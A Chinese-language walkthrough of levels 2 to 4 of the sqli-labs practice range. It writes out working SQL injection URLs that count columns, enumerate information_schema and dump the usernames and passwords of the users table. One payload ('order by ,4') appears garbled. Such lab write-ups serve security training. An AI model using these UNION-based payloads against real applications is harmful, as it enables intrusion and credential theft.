sqli-labs靶场2-4关详解
第二关
1.判断注入类型:
http://127.0.0.1/sqli-labs-master/Less-2/?id=1 正常
http://127.0.0.1/sqli-labs-master/Less-2/?id=1’ 异常
http://127.0.0.1/sqli-labs-master/Less-2/?id=1’ --+ 异常
由此判断为整型注入
2.判断字段数:
http://127.0.0.1/sqli-labs-master/Less-2/?id=1 order by 3 正常
http://127.0.0.1/sqli-labs-master/Less-2/?id=1 order by 4 异常
判断字段数为3
3.爆数据库名
http://127.0.0.1/sqli-labs-master/Less-2/?id=-1 union select 1,database(),3
可以查询到数据库名为security
4.爆表名
http://127.0.0.1/sqli-labs-master/Less-2/?id=-1 union select 1,(select group_concat(table_name)from information_schema.tables where table_schema=‘security’),3
由此获得security的四个表,emails,referers,uagents,users
5.爆字段名
http://127.0.0.1/sqli-labs-master/Less-2/?id=-1 union select 1,(select group_concat(column_name)from information_schema.columns where table_schema=‘security’ and table_name=‘users’),3
获得表users的三个字段名,id,username,password
6.取数据
http://127.0.0.1/sqli-labs-master/Less-2/?id=-1 union select 1,(select group_concat(id,username,password)from users),3
最终获得users表全部数据,通关了!!!
第三关
第三关是单引号变型字符注入,与前面两关的注入方法基本类似,要过这一关我们主要需要知道它报错的原因在哪,然后用前两关同样的方式构建SQL语句就OK了。
同样滴,我们先构建单引号报错,注意看报错信息!!!这很重要!
http://127.0.0.1/sqli-labs-master/less-3/?id=1’
可以详细比较一下,它与第一关报错信息的区别,相信你们的火眼金睛肯定马上就能发现它的报错信息use near “1”)这里多了一个括号,这就是问题所在了。我们可以想象一下他在数据库中的查询语句为 SELECT username FROM tables where id=(‘ $id ’)。因此我们构建SQL语句时就不止要考虑单引号闭合,还要考虑括号的闭合。
构建URL:http://127.0.0.1/sqli-labs-master/less-3/?id=1’) order by ,4 --+
得到它的字段数,剩下的与前面两关就差不多了。
第四关
第四关是双引号字符注入,重点在于构建报错信息,当我们在尝试的时候,整型和加上单引号都不会报错,但是当注入双引号时,就会出现报错信息,如下:
同上关卡,想象它在数据库中的实际查询语句:SELECT username FROM tables where
id=(“$id”)。由此我们构建SQL语句就要考虑双引号和括号的闭合,如下:
http://127.0.0.1/sqli-labs-master/less-4/?id=1") order by 4 --+
得到字段数为3,剩下步骤同第一关。
从第五关开始就是盲注了,下一篇再专门讲这个吧。
更多内容关注微信公众号: